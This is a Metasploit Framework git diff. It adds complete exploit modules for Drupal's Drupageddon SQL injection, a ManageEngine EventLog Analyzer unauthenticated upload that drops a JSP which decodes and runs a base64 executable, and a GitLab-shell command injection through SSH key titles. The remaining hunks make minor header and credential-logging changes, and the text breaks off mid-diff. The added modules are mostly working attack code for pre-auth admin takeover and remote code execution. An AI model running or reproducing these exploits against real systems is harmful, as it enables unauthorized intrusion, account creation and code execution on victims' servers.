http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/drupal_drupageddon.rb b/modules/exploits/multi/http/drupal_drupageddon.rb new file mode 100644 index 0000000000..c3d66b604f --- /dev/null +++ b/modules/exploits/multi/http/drupal_drupageddon.rb @@ -0,0 +1,357 @@ +## +# This module requires Metasploit: http//metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info={}) + super(update_info(info, + 'Name' => 'Drupal HTTP Parameter Key/Value SQL Injection', + 'Description' => %q{ + This module exploits the Drupal HTTP Parameter Key/Value SQL Injection + (aka Drupageddon) in order to achieve a remote shell on the vulnerable + instance. This module was tested against Drupal 7.0 and 7.31 (was fixed + in 7.32). + }, + 'License' => MSF_LICENSE, + 'Author' => + [ + 'SektionEins', # discovery + 'Christian Mehlmauer', # msf module + 'Brandon Perry' # msf module + ], + 'References' => + [ + ['CVE', '2014-3704'], + ['URL', 'https://www.drupal.org/SA-CORE-2014-005'], + ['URL', 'http://www.sektioneins.de/en/advisories/advisory-012014-drupal-pre-auth-sql-injection-vulnerability.html'] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Targets' => [['Drupal 7.0 - 7.31',{}]], + 'DisclosureDate' => 'Oct 15 2014', + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The target URI of the Drupal installation", '/']) + ], self.class) + + register_advanced_options( + [ + OptString.new('ADMIN_ROLE', [ true, "The administrator role", 'administrator']), + OptInt.new('ITER', [ true, "Hash iterations (2^ITER)", 10]) + ], self.class) + end + + def uri_path + normalize_uri(target_uri.path) + end + + def admin_role + datastore['ADMIN_ROLE'] + end + + def iter + datastore['ITER'] + end + + def itoa64 + './0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz' + end + + # PHPs PHPASS base64 method + def phpass_encode64(input, count) + out = '' + cur = 0 + while cur < count + value = input[cur].ord + cur += 1 + out << itoa64[value & 0x3f] + if cur < count + value |= input[cur].ord << 8 + end + out << itoa64[(value >> 6) & 0x3f] + break if cur >= count + cur += 1 + + if cur < count + value |= input[cur].ord << 16 + end + out << itoa64[(value >> 12) & 0x3f] + break if cur >= count + cur += 1 + out << itoa64[(value >> 18) & 0x3f] + end + out + end + + def generate_password_hash(pass) + # Syntax for MD5: + # $P$ = MD5 + # one char representing the hash iterations (min 7) + # 8 chars salt + # MD5_raw(salt.pass) + iterations + # MD5 phpass base64 encoded (!= encode_base64) and trimmed to 22 chars for md5 + iter_char = itoa64[iter] + salt = Rex::Text.rand_text_alpha(8) + md5 = Rex::Text.md5_raw("#{salt}#{pass}") + # convert iter from log2 to integer + iter_count = 2**iter + 1.upto(iter_count) { + md5 = Rex::Text.md5_raw("#{md5}#{pass}") + } + md5_base64 = phpass_encode64(md5, md5.length) + md5_stripped = md5_base64[0...22] + pass = "$P\\$" + iter_char + salt + md5_stripped + vprint_debug("#{peer} - password hash: #{pass}") + + return pass + end + + def sql_insert_user(user, pass) + "insert into users (uid, name, pass, mail, status) select max(uid)+1, '#{user}', '#{generate_password_hash(pass)}', '#{Rex::Text.rand_text_alpha_lower(5)}@#{Rex::Text.rand_text_alpha_lower(5)}.#{Rex::Text.rand_text_alpha_lower(3)}', 1 from users" + end + + def sql_make_user_admin(user) + "insert into users_roles (uid, rid) VALUES ((select uid from users where name='#{user}'), (select rid from role where name = '#{admin_role}'))" + end + + def extract_form_ids(content) + form_build_id = $1 if content =~ /name="form_build_id" value="(.+)" \/>/ + form_token = $1 if content =~ /name="form_token" value="(.+)" \/>/ + + vprint_debug("#{peer} - form_build_id: #{form_build_id}") + vprint_debug("#{peer} - form_token: #{form_token}") + + return form_build_id, form_token + end + + def exploit + + # TODO: Check if option admin_role exists via admin/people/permissions/roles + + # call login page to extract tokens + print_status("#{peer} - Testing page") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + user = Rex::Text.rand_text_alpha(10) + pass = Rex::Text.rand_text_alpha(10) + + post = { + "name[0 ;#{sql_insert_user(user, pass)}; #{sql_make_user_admin(user)}; # ]" => Rex::Text.rand_text_alpha(10), + 'name[0]' => Rex::Text.rand_text_alpha(10), + 'pass' => Rex::Text.rand_text_alpha(10), + 'form_build_id' => form_build_id, + 'form_id' => 'user_login', + 'op' => 'Log in' + } + + print_status("#{peer} - Creating new user #{user}:#{pass}") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # login + print_status("#{peer} - Logging in as #{user}:#{pass}") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => { + 'name' => user, + 'pass' => pass, + 'form_build_id' => form_build_id, + 'form_id' => 'user_login', + 'op' => 'Log in' + }, + 'vars_get' => { + 'q' => 'user/login' + } + }) + + unless res and res.code == 302 + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + cookie = res.get_cookies + vprint_debug("#{peer} - cookie: #{cookie}") + + # call admin interface to extract CSRF token and enabled modules + print_status("#{peer} - Trying to parse enabled modules") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'admin/modules' + }, + 'cookie' => cookie + }) + + form_build_id, form_token = extract_form_ids(res.body) + + enabled_module_regex = /name="(.+)" value="1" checked="checked" class="form-checkbox"/ + enabled_matches = res.body.to_enum(:scan, enabled_module_regex).map { Regexp.last_match } + + unless enabled_matches + fail_with(Failure::Unknown, "No modules enabled is incorrect, bailing.") + end + + post = { + 'modules[Core][php][enable]' => '1', + 'form_build_id' => form_build_id, + 'form_token' => form_token, + 'form_id' => 'system_modules', + 'op' => 'Save configuration' + } + + enabled_matches.each do |match| + post[match.captures[0]] = '1' + end + + # enable PHP filter + print_status("#{peer} - Enabling the PHP filter module") + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'admin/modules/list/confirm' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # Response: http 302, Location: http://10.211.55.50/?q=admin/modules + + print_status("#{peer} - Setting permissions for PHP filter module") + + # allow admin to use php_code + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'admin/people/permissions' + }, + 'cookie' => cookie + }) + + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + perm_regex = /name="(.*)" value="(.*)" checked="checked"/ + enabled_perms = res.body.to_enum(:scan, perm_regex).map { Regexp.last_match } + + unless enabled_perms + fail_with(Failure::Unknown, "No enabled permissions were able to be parsed, bailing.") + end + + # get administrator role id + id = $1 if res.body =~ /for="edit-([0-9]+)-administer-content-types">#{admin_role}:/ + vprint_debug("#{peer} - admin role id: #{id}") + + unless id + fail_with(Failure::Unknown, "Could not parse out administrator ID") + end + + post = { + "#{id}[use text format php_code]" => 'use text format php_code', + 'form_build_id' => form_build_id, + 'form_token' => form_token, + 'form_id' => 'user_admin_permissions', + 'op' => 'Save permissions' + } + + enabled_perms.each do |match| + post[match.captures[0]] = match.captures[1] + end + + res = send_request_cgi({ + 'uri' => uri_path, + 'method' => 'POST', + 'vars_post' => post, + 'vars_get' => { + 'q' => 'admin/people/permissions' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + # Add new Content page (extract csrf token) + print_status("#{peer} - Getting tokens from create new article page") + res = send_request_cgi({ + 'uri' => uri_path, + 'vars_get' => { + 'q' => 'node/add/article' + }, + 'cookie' => cookie + }) + + unless res and res.body + fail_with(Failure::Unknown, "No response or response body, bailing.") + end + + form_build_id, form_token = extract_form_ids(res.body) + + # Preview to trigger the payload + data = Rex::MIME::Message.new + data.add_part(Rex::Text.rand_text_alpha(10), nil, nil, 'form-data; name="title"') + data.add_part(form_build_id, nil, nil, 'form-data; name="form_build_id"') + data.add_part(form_token, nil, nil, 'form-data; name="form_token"') + data.add_part('article_node_form', nil, nil, 'form-data; name="form_id"') + data.add_part('php_code', nil, nil, 'form-data; name="body[und][0][format]"') + data.add_part("", nil, nil, 'form-data; name="body[und][0][value]"') + data.add_part('Preview', nil, nil, 'form-data; name="op"') + data.add_part(user, nil, nil, 'form-data; name="name"') + data.add_part('1', nil, nil, 'form-data; name="status"') + data.add_part('1', nil, nil, 'form-data; name="promote"') + post_data = data.to_s + + print_status("#{peer} - Calling preview page. Exploit should trigger...") + send_request_cgi( + 'method' => 'POST', + 'uri' => uri_path, + 'ctype' => "multipart/form-data; boundary=#{data.bound}", + 'data' => post_data, + 'vars_get' => { + 'q' => 'node/add/article' + }, + 'cookie' => cookie + ) + end +end diff --git a/modules/exploits/multi/http/eaton_nsm_code_exec.rb b/modules/exploits/multi/http/eaton_nsm_code_exec.rb index c8646fe686..b25107fc24 100644 --- a/modules/exploits/multi/http/eaton_nsm_code_exec.rb +++ b/modules/exploits/multi/http/eaton_nsm_code_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/eventlog_file_upload.rb b/modules/exploits/multi/http/eventlog_file_upload.rb new file mode 100644 index 0000000000..0f1d3770c3 --- /dev/null +++ b/modules/exploits/multi/http/eventlog_file_upload.rb @@ -0,0 +1,343 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::FileDropper + include Msf::Exploit::EXE + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'ManageEngine Eventlog Analyzer Arbitrary File Upload', + 'Description' => %q{ + This module exploits a file upload vulnerability in ManageEngine Eventlog Analyzer. + The vulnerability exists in the agentUpload servlet which accepts unauthenticated + file uploads and handles zip file contents in a insecure way. By combining both + weaknesses a remote attacker can achieve remote code execution. This module has been + tested successfully on versions v7.0 - v9.9 b9002 in Windows and Linux. Versions + between 7.0 and < 8.1 are only exploitable via EAR deployment in the JBoss server, + while versions 8.1+ are only exploitable via a JSP upload. + }, + 'Author' => + [ + 'h0ng10', # Vulnerability discovery + 'Pedro Ribeiro ' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2014-6037' ], + [ 'OSVDB', '110642' ], + [ 'URL', 'https://www.mogwaisecurity.de/advisories/MSA-2014-01.txt' ], + [ 'URL', 'http://seclists.org/fulldisclosure/2014/Aug/86' ] + ], + 'DefaultOptions' => { 'WfsDelay' => 5 }, + 'Privileged' => false, # Privileged on Windows but not on Linux targets + 'Platform' => %w{ java linux win }, + 'Targets' => + [ + [ 'Automatic', { } ], + [ 'Eventlog Analyzer v7.0 - v8.0 / Java universal', + { + 'Platform' => 'java', + 'Arch' => ARCH_JAVA, + 'WfsDelay' => 30 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Windows', + { + 'Platform' => 'win', + 'Arch' => ARCH_X86 + } + ], + [ 'Eventlog Analyzer v8.1 - v9.9 b9002 / Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ] + ], + 'DefaultTarget' => 0, + 'DisclosureDate' => 'Aug 31 2014')) + + register_options( + [ + Opt::RPORT(8400), + OptInt.new('SLEEP', + [true, 'Seconds to sleep while we wait for EAR deployment (Java target only)', 15]), + ], self.class) + end + + + def get_version + res = send_request_cgi({ + 'uri' => normalize_uri("event/index3.do"), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body =~ /ManageEngine EventLog Analyzer ([0-9]{1})/ + return $1 + end + end + + return "0" + end + + + def check + version = get_version + if version >= "7" and version <= "9" + # version 7 to < 8.1 detection + res = send_request_cgi({ + 'uri' => normalize_uri("event/agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 + return Exploit::CheckCode::Appears + end + + # version 8.1+ detection + res = send_request_cgi({ + 'uri' => normalize_uri("agentUpload"), + 'method' => 'GET' + }) + if res and res.code == 405 and version == 8 + return Exploit::CheckCode::Appears + else + # We can't be sure that it is vulnerable in version 9 + return Exploit::CheckCode::Detected + end + + else + return Exploit::CheckCode::Safe + end + end + + + def create_zip_and_upload(payload, target_path, is_payload = true) + # Zipping with CM_STORE to avoid errors decompressing the zip + # in the Java vulnerable application + zip = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + zip.add_file(target_path, payload) + + post_data = Rex::MIME::Message.new + post_data.add_part(zip.pack, "application/zip", 'binary', "form-data; name=\"#{Rex::Text.rand_text_alpha(4+rand(4))}\"; filename=\"#{Rex::Text.rand_text_alpha(4+rand(4))}.zip\"") + + data = post_data.to_s + + if is_payload + print_status("#{peer} - Uploading payload...") + end + res = send_request_cgi({ + 'uri' => (@my_target == targets[1] ? normalize_uri("/event/agentUpload") : normalize_uri("agentUpload")), + 'method' => 'POST', + 'data' => data, + 'ctype' => "multipart/form-data; boundary=#{post_data.bound}" + }) + + if res and res.code == 200 and res.body.empty? + if is_payload + print_status("#{peer} - Payload uploaded successfully") + end + register_files_for_cleanup(target_path.gsub("../../", "../")) + return true + else + return false + end + end + + + def pick_target + return target if target.name != 'Automatic' + + print_status("#{peer} - Determining target") + + version = get_version + + if version == "7" + return targets[1] + end + + os_finder_payload = %Q{<%out.println(System.getProperty("os.name"));%>} + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + if not create_zip_and_upload(os_finder_payload, target_dir + jsp_name, false) + if version == "8" + # Versions < 8.1 do not have a Java compiler, but can be exploited via the EAR method + return targets[1] + end + return nil + end + + res = send_request_cgi({ + 'uri' => normalize_uri(jsp_name), + 'method' => 'GET' + }) + + if res and res.code == 200 + if res.body.to_s =~ /Windows/ + return targets[2] + else + # assuming Linux + return targets[3] + end + end + + return nil + end + + + def generate_jsp_payload + opts = {:arch => @my_target.arch, :platform => @my_target.platform} + payload = exploit_regenerate_payload(@my_target.platform, @my_target.arch) + exe = generate_payload_exe(opts) + base64_exe = Rex::Text.encode_base64(exe) + + native_payload_name = rand_text_alpha(rand(6)+3) + ext = (@my_target['Platform'] == 'win') ? '.exe' : '.bin' + + var_raw = rand_text_alpha(rand(8) + 3) + var_ostream = rand_text_alpha(rand(8) + 3) + var_buf = rand_text_alpha(rand(8) + 3) + var_decoder = rand_text_alpha(rand(8) + 3) + var_tmp = rand_text_alpha(rand(8) + 3) + var_path = rand_text_alpha(rand(8) + 3) + var_proc2 = rand_text_alpha(rand(8) + 3) + + if @my_target['Platform'] == 'linux' + var_proc1 = Rex::Text.rand_text_alpha(rand(8) + 3) + chmod = %Q| + Process #{var_proc1} = Runtime.getRuntime().exec("chmod 777 " + #{var_path}); + Thread.sleep(200); + | + + var_proc3 = Rex::Text.rand_text_alpha(rand(8) + 3) + cleanup = %Q| + Thread.sleep(200); + Process #{var_proc3} = Runtime.getRuntime().exec("rm " + #{var_path}); + | + else + chmod = '' + cleanup = '' + end + + jsp = %Q| + <%@page import="java.io.*"%> + <%@page import="sun.misc.BASE64Decoder"%> + <% + try { + String #{var_buf} = "#{base64_exe}"; + BASE64Decoder #{var_decoder} = new BASE64Decoder(); + byte[] #{var_raw} = #{var_decoder}.decodeBuffer(#{var_buf}.toString()); + + File #{var_tmp} = File.createTempFile("#{native_payload_name}", "#{ext}"); + String #{var_path} = #{var_tmp}.getAbsolutePath(); + + BufferedOutputStream #{var_ostream} = + new BufferedOutputStream(new FileOutputStream(#{var_path})); + #{var_ostream}.write(#{var_raw}); + #{var_ostream}.close(); + #{chmod} + Process #{var_proc2} = Runtime.getRuntime().exec(#{var_path}); + #{cleanup} + } catch (Exception e) { + } + %> + | + + jsp = jsp.gsub(/\n/, '') + jsp = jsp.gsub(/\t/, '') + jsp = jsp.gsub(/\x0d\x0a/, "") + jsp = jsp.gsub(/\x0a/, "") + + return jsp + end + + + def exploit_native + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'linux' and payload_instance.name =~ /Windows/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Linux target.") + end + + jsp_name = "#{rand_text_alphanumeric(4+rand(32-4))}.jsp" + target_dir = "../../webapps/event/" + + jsp_payload = generate_jsp_payload + if not create_zip_and_upload(jsp_payload, target_dir + jsp_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + return jsp_name + end + + + def exploit_java + # When using auto targeting, MSF selects the Windows meterpreter as the default payload. + # Fail if this is the case and ask the user to select an appropriate payload. + if @my_target['Platform'] == 'java' and not payload_instance.name =~ /Java/ + fail_with(Failure::BadConfig, "#{peer} - Select a compatible payload for this Java target.") + end + + target_dir = "../../server/default/deploy/" + + # First we generate the WAR with the payload... + war_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + war_payload = payload.encoded_war({ :app_name => war_app_base }) + + # ... and then we create an EAR file that will contain it. + ear_app_base = rand_text_alphanumeric(4 + rand(32 - 4)) + app_xml = %Q{#{rand_text_alphanumeric(4 + rand(32 - 4))}#{war_app_base + ".war"}/#{ear_app_base}} + + # Zipping with CM_STORE to avoid errors while decompressing the zip + # in the Java vulnerable application + ear_file = Rex::Zip::Archive.new(Rex::Zip::CM_STORE) + ear_file.add_file(war_app_base + ".war", war_payload.to_s) + ear_file.add_file("META-INF/application.xml", app_xml) + ear_file_name = rand_text_alphanumeric(4 + rand(32 - 4)) + ".ear" + + if not create_zip_and_upload(ear_file.pack, target_dir + ear_file_name) + fail_with(Failure::Unknown, "#{peer} - Payload upload failed") + end + + print_status("#{peer} - Waiting " + datastore['SLEEP'].to_s + " seconds for EAR deployment...") + sleep(datastore['SLEEP']) + return normalize_uri(ear_app_base, war_app_base, rand_text_alphanumeric(4 + rand(32 - 4))) + end + + + def exploit + if datastore['SLEEP'] < 0 + print_error("The SLEEP datastore option shouldn't be negative") + return + end + + @my_target = pick_target + if @my_target.nil? + print_error("#{peer} - Unable to select a target, we must bail.") + return + else + print_status("#{peer} - Selected target #{@my_target.name}") + end + + if @my_target == targets[1] + exploit_path = exploit_java + else + exploit_path = exploit_native + end + + print_status("#{peer} - Executing payload...") + send_request_cgi({ + 'uri' => normalize_uri(exploit_path), + 'method' => 'GET' + }) + end +end diff --git a/modules/exploits/multi/http/extplorer_upload_exec.rb b/modules/exploits/multi/http/extplorer_upload_exec.rb index d91b8c64d7..1289010cbd 100644 --- a/modules/exploits/multi/http/extplorer_upload_exec.rb +++ b/modules/exploits/multi/http/extplorer_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/familycms_less_exec.rb b/modules/exploits/multi/http/familycms_less_exec.rb index cbd2a17d10..07e3741261 100644 --- a/modules/exploits/multi/http/familycms_less_exec.rb +++ b/modules/exploits/multi/http/familycms_less_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/freenas_exec_raw.rb b/modules/exploits/multi/http/freenas_exec_raw.rb index 7b63d8a0da..da1dbb571e 100644 --- a/modules/exploits/multi/http/freenas_exec_raw.rb +++ b/modules/exploits/multi/http/freenas_exec_raw.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/gestioip_exec.rb b/modules/exploits/multi/http/gestioip_exec.rb index 4b234f3e8d..7b7162bb13 100644 --- a/modules/exploits/multi/http/gestioip_exec.rb +++ b/modules/exploits/multi/http/gestioip_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/gitlab_shell_exec.rb b/modules/exploits/multi/http/gitlab_shell_exec.rb new file mode 100644 index 0000000000..5f1b1054dc --- /dev/null +++ b/modules/exploits/multi/http/gitlab_shell_exec.rb @@ -0,0 +1,238 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' +require 'net/ssh' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStager + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Gitlab-shell Code Execution', + 'Description' => %q( + This module takes advantage of the addition of authorized + ssh keys in the gitlab-shell functionality of Gitlab. Versions + of gitlab-shell prior to 1.7.4 used the ssh key provided directly + in a system call resulting in a command injection vulnerability. As + this relies on adding an ssh key to an account, valid credentials + are required to exploit this vulnerability. + ), + 'Author' => + [ + 'Brandon Knight' + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['URL', 'https://about.gitlab.com/2013/11/04/gitlab-ce-6-2-and-5-4-security-release/'], + ['CVE', '2013-4490'] + ], + 'Platform' => 'linux', + 'Targets' => + [ + [ 'Linux', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86 + } + ], + [ 'Linux (x64)', + { + 'Platform' => 'linux', + 'Arch' => ARCH_X86_64 + } + ], + [ 'Unix (CMD)', + { + 'Platform' => 'unix', + 'Arch' => ARCH_CMD, + 'Payload' => + { + 'Compat' => + { + 'RequiredCmd' => 'openssl perl python' + }, + 'BadChars' => "\x22" + } + } + ], + [ 'Python', + { + 'Platform' => 'python', + 'Arch' => ARCH_PYTHON, + 'Payload' => + { + 'BadChars' => "\x22" + } + } + ] + ], + 'CmdStagerFlavor' => %w( bourne printf ), + 'DisclosureDate' => 'Nov 4 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + OptString.new('USERNAME', [true, 'The username to authenticate as', 'root']), + OptString.new('PASSWORD', [true, 'The password for the specified username', '5iveL!fe']), + OptString.new('TARGETURI', [true, 'The path to Gitlab', '/']) + ], self.class) + end + + def exploit + login + case target['Platform'] + when 'unix' + execute_command(payload.encoded) + when 'python' + execute_command("python -c \\\"#{payload.encoded}\\\"") + when 'linux' + execute_cmdstager(temp: './', linemax: 2800) + end + end + + def execute_command(cmd, _opts = {}) + key_id = add_key(cmd) + delete_key(key_id) + end + + def check + res = send_request_cgi('uri' => normalize_uri(target_uri.path.to_s, 'users', 'sign_in')) + if res && res.body && res.body.include?('GitLab') + return Exploit::CheckCode::Detected + else + return Exploit::CheckCode::Unknown + end + end + + def login + username = datastore['USERNAME'] + password = datastore['PASSWORD'] + signin_page = normalize_uri(target_uri.path.to_s, 'users', 'sign_in') + + # Get a valid session cookie and authenticity_token for the next step + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => 'request_method=GET', + 'uri' => signin_page + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during login") unless res + + local_session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] + auth_token = res.body.scan(/ 'POST', + 'cookie' => local_session_cookie, + 'uri' => signin_page, + 'vars_post' => + { + 'utf8' => "\xE2\x9C\x93", + 'authenticity_token' => auth_token, + "#{user_field}" => username, + 'user[password]' => password, + 'user[remember_me]' => 0 + } + ) + + fail_with(Failure::NoAccess, "#{peer} - Login failed") unless res && res.code == 302 + + @session_cookie = res.get_cookies.scan(/(_gitlab_session=[A-Za-z0-9%-]+)/).flatten[0] + + fail_with(Failure::NoAccess, "#{peer} - Unable to get session cookie") if @session_cookie.nil? + end + + def add_key(cmd) + if @gitlab_version == 5 + @key_base = normalize_uri(target_uri.path.to_s, 'keys') + else + @key_base = normalize_uri(target_uri.path.to_s, 'profile', 'keys') + end + + # Perform an initial request to get an authenticity_token so the actual + # key addition can be done successfully. + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => normalize_uri(@key_base, 'new') + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + auth_token = res.body.scan(/ 'POST', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => @key_base, + 'vars_post' => + { + 'utf8' => "\xE2\x9C\x93", + 'authenticity_token' => auth_token, + 'key[title]' => title, + 'key[key]' => key + } + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + # Get the newly added key id so it can be used for cleanup + key_id = res.headers['Location'].split('/')[-1] + + key_id + end + + def delete_key(key_id) + res = send_request_cgi( + 'method' => 'GET', + 'cookie' => "request_method=GET; #{@session_cookie}", + 'uri' => @key_base + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + + auth_token = res.body.scan(/ 'POST', + 'cookie' => "#{@session_cookie}", + 'uri' => normalize_uri("#{@key_base}", "#{key_id}"), + 'vars_post' => + { + '_method' => 'delete', + 'authenticity_token' => auth_token + } + ) + + fail_with(Failure::TimeoutExpired, "#{peer} - Connection timed out during request") unless res + end +end diff --git a/modules/exploits/multi/http/gitorious_graph.rb b/modules/exploits/multi/http/gitorious_graph.rb index 5dae86e055..8258c0e9f1 100644 --- a/modules/exploits/multi/http/gitorious_graph.rb +++ b/modules/exploits/multi/http/gitorious_graph.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/glassfish_deployer.rb b/modules/exploits/multi/http/glassfish_deployer.rb index 042f17ccd2..272950dd77 100644 --- a/modules/exploits/multi/http/glassfish_deployer.rb +++ b/modules/exploits/multi/http/glassfish_deployer.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## @@ -651,17 +651,33 @@ class Metasploit3 < Msf::Exploit::Remote return res end - def log_success(user,pass) - print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => user, - :pass => pass, - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + def log_success(user = "", pass = "") + service_data = { + address: Rex::Socket.getaddress(rhost, true), + port: rport, + protocol: "tcp", + service_name: ssl ? "https" : "http", + workspace_id: myworkspace_id + } + + credential_data = { + origin_type: :service, + module_fullname: self.fullname, + username: user, + private_data: pass, + private_type: :password + } + + credential_core = create_credential(credential_data.merge(service_data)) + + login_data = { + core: credential_core, + access_level: "Admin", + status: Metasploit::Model::Login::Status::SUCCESSFUL, + last_attempted_at: DateTime.now + } + + create_credential_login(login_data.merge(service_data)) end def try_default_glassfish_login(version) @@ -708,6 +724,7 @@ class Metasploit3 < Msf::Exploit::Remote end if success == true + print_good("#{my_target_host()} - GlassFish - SUCCESSFUL login for '#{user}' : '#{pass}'") log_success(user,pass) else msg = "#{my_target_host()} - GlassFish - Failed to authenticate login for '#{user}' : '#{pass}'" @@ -739,15 +756,7 @@ class Metasploit3 < Msf::Exploit::Remote if success == true print_good("#{my_target_host} - GlassFish - SUCCESSFUL authentication bypass") - report_auth_info( - :host => rhost, - :port => rport, - :sname => (ssl ? "https" : "http"), - :user => '', - :pass => '', - :proof => "WEBAPP=\"GlassFish\", VHOST=#{vhost}", - :active => true - ) + log_success else print_error("#{my_target_host()} - GlassFish - Failed authentication bypass") end diff --git a/modules/exploits/multi/http/glossword_upload_exec.rb b/modules/exploits/multi/http/glossword_upload_exec.rb index aec23ca800..0aa285ac06 100644 --- a/modules/exploits/multi/http/glossword_upload_exec.rb +++ b/modules/exploits/multi/http/glossword_upload_exec.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/glpi_install_rce.rb b/modules/exploits/multi/http/glpi_install_rce.rb index 93d2f48df8..19cdc98388 100644 --- a/modules/exploits/multi/http/glpi_install_rce.rb +++ b/modules/exploits/multi/http/glpi_install_rce.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/horde_href_backdoor.rb b/modules/exploits/multi/http/horde_href_backdoor.rb index da3329887f..2490945fbb 100644 --- a/modules/exploits/multi/http/horde_href_backdoor.rb +++ b/modules/exploits/multi/http/horde_href_backdoor.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb b/modules/exploits/multi/http/hp_sitescope_issuesiebelcmd.rb index 221ed08964..f8e6b61147 100644 --- 